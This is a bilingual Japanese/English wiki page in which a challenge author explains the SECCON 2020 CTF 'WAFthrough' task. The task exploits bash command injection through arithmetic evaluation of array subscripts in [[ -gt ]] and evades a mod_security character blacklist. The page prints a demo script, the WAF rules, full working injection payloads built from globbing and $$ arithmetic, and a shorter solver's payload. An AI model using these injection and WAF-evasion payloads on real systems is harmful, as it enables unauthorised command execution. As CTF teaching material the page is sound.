プロジェクト

全般

プロフィール

CTF Writeup SECCON 2020 » 履歴 » バージョン 1

kanata, 2025/04/13 15:32

1 1 kanata
# CTF Writeup SECCON 2020
2
3
{{toc}}
4
5
WAFthrough作問しました。8チームに解かれました。たぶん、後日問題そのものも公開されるんじゃないかと思います。
6
みんなのwriteup見るの楽しい(≧∇≦)/
7
めっちゃ強い伝説級CTFerのwriteupこわい(すごい)
8
9
# WAFthrough writeups & solver
10
11
st98 の日記帳 - [misc 305] WAFthrough (8 solves)
12
https://st98.github.io/diary/posts/2020-10-15-seccon-2020-online-ctf.html#misc-305-wafthrough-8-solves
13
14
st98/gen.py
15
https://gist.github.com/st98/3d2dec8545122ac4c45505070b9f7fd7
16
17
>ご本人曰く「WAFthroughは根性、ペイロードとペイロードを作るのに使ったスクリプトがこれ」とのこと
18
19
icchy/x.py SECCON CTF 2020 - WAFthrough
20
https://gist.github.com/icchy/5964dec1da5ce6d64f16fd159e54180e
21
22
>TokyoWesternsのリーダーicchyさんが解いてくれた嬉しい
23
24
{{rawhtml(<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">WAFthroughはq=_[`../../*/?[k-m]??|/???/o?`]です</p>&mdash; douro (@Nperair) <a href="https://twitter.com/Nperair/status/1315174895509094400?ref_src=twsrc%5Etfw">October 11 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>)}}
25
26
>これがやばくて、私の想定解よりずっと短いです。つよい。
27
28
SECCON CTF 2020 復習 (Web系+α)
29
https://tech.kusuwada.com/entry/2020/11/02/061455#section2
30
31
>kusuwadaさん復習してくれてるやったー!
32
33
34
# Author’s Writeup
35
36
お問い合わせ頂いたので解説記事を書くことにしました。
37
しかも英語でお問い合わせ頂いた(!)ので、 **日本語・英語併記**で書きます。翻訳は主に[DeepL](https://www.deepl.com/ja/translator)先生にまるっと頼ってます。
38
39
I decided to write an explanatory article because of your inquiry.
40
Japanese and English are written together.
41
42
## Question 問題
43
44
こういう問題でcgiのソースコードとWAFの定義ファイルを提供していました。
45
This challenge provided the cgi source code and the WAF definition file.
46
47
![問題](20201014_WAFthrough1.jpg)
48
49
>問題ファイルは後日SECCONのGithubにて公開される予定です。
50
51
サーバにアクセスすると以下のように歴代の好成績チームが表示されます。
52
When you access the server, you will see the best performing teams.
53
54
![問題](20201014_WAFthrough2.jpg)
55
56
URLは年毎に以下のように変化します。ソース見てもわかるんですが、GETで動いてますね。
57
The URLs change from year to year by GET.
58
59
```
60
http://xxx.xxx.xxx.xx/cgi-bin/index.cgi?q=v   # 2015
61
http://xxx.xxx.xxx.xx/cgi-bin/index.cgi?q=w   # 2016
62
http://xxx.xxx.xxx.xx/cgi-bin/index.cgi?q=x   # 2017
63
http://xxx.xxx.xxx.xx/cgi-bin/index.cgi?q=y   # 2018
64
http://xxx.xxx.xxx.xx/cgi-bin/index.cgi?q=z   # 2019
65
```
66
67
## Strategy 解き方
68
69
大きく2つのハードルをクリアすれば解けます。
70
You need to clear two hurdles.
71
72
1. Finding Vulnerable Locations for Command Injection. コマンドインジェクションの脆弱位を見つける
73
2. Bypassing the WAF and executing commands. WAFを回避してコマンドを実行する
74
75
>あと、解く時のコツなんですが、index.cgi はいわゆるシェルスクリプトなので自分のローカル環境で簡単に実行できます。
76
>コマンドインジェクションの脆弱性を見つけるために、サーバに対して無限に打ち込むよりも効率的に試せるはずです。
77
78
## Command injection vulnerability コマンドインジェクションの脆弱性
79
80
index.cgi の重要な箇所だけ抜き出してみます。
81
Let's extract the important part of index.cgi
82
83
```bash
84
85
#!/bin/bash
86
 
87
exec 2>&1 # for debug
88
89
if [ "$REQUEST_METHOD" = "GET" ]
90
then
91
  VAR="$(echo $QUERY_STRING|cut -c3-|nkf -w --url-input)"
92
  TARGET_FILE=$(sed -e 's/z/2019/g' -e 's/y/2018/g' -e 's/x/2017/g' -e 's/w/2016/g' -e 's/v/2015/g' <(echo $VAR))
93
  if [[ "$TARGET_FILE" -gt 2014 ]]
94
  then
95
    echo '<HR>'
96
    cat $TARGET_FILE
97
  fi
98
fi
99
```
100
101
やや不自然なコーディングに見えますが、一見してコマンドインジェクションの脆弱性があるようには見えません。
102
It does not appear to be vulnerable to command injection.
103
104
あと exec 2>&1 がありますね。標準出力でも標準エラー出力でもコマンド実行結果がブラウザに表示される作りになっていることがわかります。
105
106
>このテクニックはpwn問として出題された **pwarmup**でも解くために利用されましたね\^\^
107
108
### Bash's arithmetic formulas. bashの算術式
109
110
かなり端的にいうとbashの算術式の中では **配列の添字の中で任意のコマンド実行ができる**という仕様があります。
111
In fact, there is a specification in bash's arithmetic formula that allows for arbitrary command execution within the index of an array.
112
113
では、どういう場合に算術式の評価が行われるでしょうか。次の3つがあります(もっとあるかも)。
114
115
1. 算術式展開を使用した時 $(( x[$(date)] ))
116
2. if文のダブルブラケット &#91;&#91; &#93;&#93; で数値の比較をした時
117
3. typeset -i または declare -i で変数を定義し、値が代入された時
118
119
There are three patterns in which arithmetic formulas are evaluated.
120
121
1. This happens when you use arithmetic expression. $(( x[$(date)] ))
122
2. This happens when you use a new style of if statement.  if &#91;&#91; &#93;&#93;
123
3. This happens when a variable is defined with typeset -i or declare -i and a value is set to it.
124
125
126
実際に試してみましょう。
127
Let's give it a try.
128
129
```bash
130
$ cat vulnerability.sh
131
132
#!/bin/bash
133
134
VAL1='x[$(whoami>&2)]'
135
136
echo "Command injection part1" $(( VAL1 ))
137
138
echo "Command injection part2"
139
if [[ $VAL1 -gt 1 ]]
140
then
141
 :
142
fi
143
144
echo "Command injection part3"
145
typeset -i VAL2
146
VAL2='x[$(whoami>&2)]'
147
```
148
149
実行してみます。いずれもwhoamiが実行されてしまっています。
150
The command has been executed.
151
152
```
153
$ ./vulnerability.sh
154
kanata
155
Command injection part1 0
156
Command injection part2
157
kanata
158
Command injection part3
159
kanata
160
```
161
162
という訳で、index.cgiは **if文のダブルブラケットにコマンドインジェクションの脆弱性がある**ことがわかります
163
You were able to find a command injection vulnerability in index.cgi.
164
165
{{rawhtml(<font color=darkred>)}}
166
167
>この問題(WAFthrough)はシェルスクリプトが動くWebサーバというあまり見かけない構成にしています。これは問題をシンプルに作りたかったためです。
168
>現実では、一般的な業務システムのバックエンドにおいて、バッチ処理としてシェルスクリプトが動くケースが多いかと思います。
169
>ユーザからの細工された入力をバッチ処理が受け取った時、上記の脆弱性からコマンドインジェクションに繋がるリスクがあります。
170
>しんどいのは、この問題を解いたのが8チームのみという、ほとんど誰もこの仕様を知らないため、潜在的に沢山のシステムがこの脆弱性を抱えている可能性があるという点です。
171
>加えてif文のダブルブラケットにおいては、ユーザの入力をチェックする処理がそのまま脆弱になるパターンも考えられ、なかなかスリリングです。(私は基本的にif文のダブルブラケットでの判定を使わないことにしています)
172
173
{{rawhtml(</font>)}}
174
175
176
177
## WAF definition WAFの定義
178
179
WAFはApacheのmod_securityを利用しています。定義内容から簡単に調べがつくと思います。
180
rules.confの大事な部分は以下です。
181
Let's try to extract the important parts of rules.conf
182
183
```
184
SecDefaultAction "phase:1,log,deny,status:403"
185
SecRule QUERY_STRING  "[Uu]"   "id:'9000001'"
186
SecRule QUERY_STRING  "[Ss]"   "id:'9000002'"
187
SecRule QUERY_STRING  "[Rr]"   "id:'9000003'"
188
SecRule QUERY_STRING  "[Bb]"   "id:'9000004'"
189
SecRule QUERY_STRING  "[Ii]"   "id:'9000005'"
190
SecRule QUERY_STRING  "[Nn]"   "id:'9000006'"
191
SecRule QUERY_STRING  "[Ff]"   "id:'9000007'"
192
SecRule QUERY_STRING  "[Ll]"   "id:'9000008'"
193
SecRule QUERY_STRING  "[Aa]"   "id:'9000009'"
194
SecRule QUERY_STRING  "[Gg]"   "id:'9000010'"
195
SecRule QUERY_STRING  "[0-9]"  "id:'9000011'"
196
SecRule QUERY_STRING  "([a-zA-Z]).*\1"  "id:'9000012'"
197
SecRule ARGS_COMBINED_SIZE "@gt 320" "id:'9000013'"
198
199
SecDefaultAction "phase:4,log,deny,status:403"
200
SecRule RESPONSE_BODY "SECCON" "id:'9000091'"
201
```
202
203
要約すると以下のようになります。
204
205
* UuSsRrBbIiNnFfLlAaGgの文字がリクエストパラメタにあるとダメ
206
* 数字がリクエストパラメタにあるとダメ
207
* 同じ英字が2回以上あるとダメ
208
* リクエストパラメタのサイズは320Byteまで
209
* レスポンスの中にSECCONという文字があるとダメ
210
211
Summary
212
213
* The letter "UuSsRrBbIiNnFfLlAaGg" must not be in the request parameter.
214
* The letter "0123456789" must not be in the request parameter.
215
* The same letter must not appear more than once in the request parameter.
216
* The size of the request parameter is up to 320 bytes.
217
* Don't have the word "SECCON" in response.
218
219
220
### Available characters 使用できる文字
221
222
という訳で以下の文字と記号だけでリクエストパラメタを作らなければなりません。
223
You have to create a request parameter with only the following characters and symbols.
224
225
* c,d,e,h,j,k,o,p,q,t
226
* C,D,D,H,J,K,O,P,Q,T,V,W,X,Y,Z
227
228
>v,w,x,y,zはWAFを通過しますが、index.cgiの中で西暦に変換されるため実質使えません。
229
230
## How to get through the WAF 原理
231
232
使える文字をよく見ると、WAFはe,c,h,oを制限していないことがわかります。
233
echoとbashの機能を使ってうまくflagを実行することができます!
234
You can run flag using the echo and bash features.
235
236
1. Setting the Array. 配列に入れる
237
238
```
239
X=($(echo /usr/bin/*))
240
```
241
242
2. Execute an array with a subscript. 配列に添え字を指定して実行
243
244
```
245
${X[183]} # flagの実行
246
```
247
248
## Numeric Generation 数値の生成
249
250
数字を使わないで数字を表現する必要があります。
251
以下のテクニックで数字を使わずに数字を表現できます。
252
This technique allows you to express numbers without using the letters 0123456789.
253
254
```
255
$? # :コマンドの終了ステータス->0
256
$(($$/$$+$$/$$+$$/$$)) #プロセスIDをプロセスIDで割る->3, 1+1+1
257
```
258
259
## Space Generation 空白の生成
260
261
意外に引っかかりがちなのが、URLの中でスペースが使えないというところです。スペースは%20に変換されますが、数字を含んでいるので今回のWAFに引っかかってしまいます。
262
Spaces are converted to %20 and cannot be used.
263
264
さまざまな方法がありますが、ここではdateの実行結果からスペースを抜き出す方法を使っています。
265
You can extract spaces from the results of the date command.
266
267
```
268
____=$(../../???/d?t?) # dateの実行
269
echo ${____:3:1}       # スペースの取得(4文字目はスペース)
270
${____:$(($$/$$+$$/$$+$$/$$)):$(($$/$$))}
271
```
272
273
## Use echo twice. 
274
275
同じ英字は2回使うとWAFに検出されてしまいます。echoを2回使いたいため記号の変数に設定します。
276
You want to use echo twice, so you'll set the variable to be made up of symbols.
277
278
```
279
______=echo # echo
280
```
281
282
## flag execution
283
284
flagコマンドは以下で実行できます。
285
The flag command can be executed as follows.
286
287
```
288
__=($(echo ../../???/????));${__[20]} # flag
289
```
290
291
## base64 execution
292
293
flagコマンドを実行すると出力内容にフラグ形式である"SECCON"が含まれることが想定されます。(もしくは、実行するとWAFに引っかかるため、それで判断できます)
294
SECCONを編集する方法はいくつか思い浮かびますが、ここではbase64エンコードしてWAFを回避してみます。
295
To avoid WAF, you need to convert the SECCON characters in the response.
296
297
```
298
___=($(echo ../../???/??????));${___[1]} # base64
299
```
300
301
## Got it! Combined.
302
303
という訳で、全部合体させるとこうなります!
304
You're going to combine them all.
305
306
```
307
X[$(____=$(../../???/d?t?);______=echo;__=($($______${____:$(($$/$$+$$/$$+$$/$$)):$(($$/$$))}../../???/????));___=($($______${____:$(($$/$$+$$/$$+$$/$$)):$(($$/$$))}../../???/??????));${__[$(($$/$$+$$/$$))$?]}|${___[$(($$/$$))]})]
308
```
309
310
最終的にやってることは以下です。
311
Here's what you're ultimately doing.
312
313
```
314
../../bin/flag|../../bin/base64
315
```
316
317
## Answer
318
319
以下でアクセスすると、base64エンコードされたflagを得ることができます。これが想定解でした。
320
You can get the base64 encoded flag if you access it at the following URL.This was the expected solution.
321
322
```
323
http://xxx.xxx.xxx.xx/cgi-bin/index.cgi?q=X[$(____=$(../../???/d?t?);______=echo;__=($($______${____:$(($$/$$+$$/$$+$$/$$)):$(($$/$$))}../../???/????));___=($($______${____:$(($$/$$+$$/$$+$$/$$)):$(($$/$$))}../../???/??????));${__[$(($$/$$+$$/$$))$?]}|${___[$(($$/$$))]})]
324
```
325
326
![flag](20201014_WAFthrough3.jpg)
327
328
```
329
$ echo U0VDQ09Oe1dBRjAwMDAwMDAwMDAhfQo=|base64 -d
330
SECCON{WAF0000000000!}
331
```
332
333
まだ問題サーバは動いているはずなので試してみてください(2020年10月いっぱいまで)
334
The server should still be working, so try it out (until the end of October 2020).
335
336
# Clever solution やべぇやつ
337
338
[道路](https://twitter.com/Nperair)さんのやべぇやつ
339
Clever solution.
340
341
{{rawhtml(<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">WAFthroughはq=_[`../../*/?[k-m]??|/???/o?`]です</p>&mdash; douro (@Nperair) <a href="https://twitter.com/Nperair/status/1315174895509094400?ref_src=twsrc%5Etfw">October 11 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>)}}
342
343
やべえです。私の想定解よりずっと短くシンプルです。
344
配列もスペースもいらんかったんや…
345
Awesome! This is shorter and simpler than my assumed solution.
346
347
```
348
q=_[`../../*/?[k-m]??|/???/o?`]
349
```
350
351
これは以下のように解釈されます。
352
This can be interpreted as follows.
353
354
```
355
$ echo ../../*/?[k-m]??        
356
../../bin/flag ../../bin/kmod ../../bin/pldd ../../bin/pmap ../../bin/tmux ../../sbin/mkfs ../../share/alsa
357
$ echo /???/o?
358
/bin/od
359
```
360
361
つまり以下のように実行されます。
362
So it runs like this.
363
364
```
365
$ ../../bin/flag ../../bin/kmod ../../bin/pldd ../../bin/pmap ../../bin/tmux ../../sbin/mkfs ../../share/alsa|/bin/od
366
0000000 042523 041503 047117 053573 043101 030060 030060 030060
367
0000020 030060 030060 076441 000012
368
0000027
369
```
370
371
![odの結果](20201014_WAFthrough4.jpg)
372
373
odの結果(リトルエンディアンで8進数で表示されている)をASCIIコードに戻せばフラグが得られます。
374
You can get the flag by reverting the result of the od command (shown in octal in little endian) back to ASCII code.
375
376
おもしろそうなのでシェル芸で変換してみました。
377
378
```
379
$ cat ./conv.sh
380
#!/bin/bash
381
382
LIST='0000000 042523 041503 047117 053573 043101 030060 030060 030060
383
0000020 030060 030060 076441 000012
384
0000027'
385
386
echo "$LIST"|cut -c8-|for WORD in $(cat);do echo 'obase=16;ibase=8; '$WORD|bc;done|sed -e 's/\(..\)/\1 /g'|awk '{print $2,$1}'|tr ' ' '\n'|xargs -I {} printf "%b" "\\x{}"
387
$ ./conv.sh
388
SECCON{WAF0000000000!}
389
```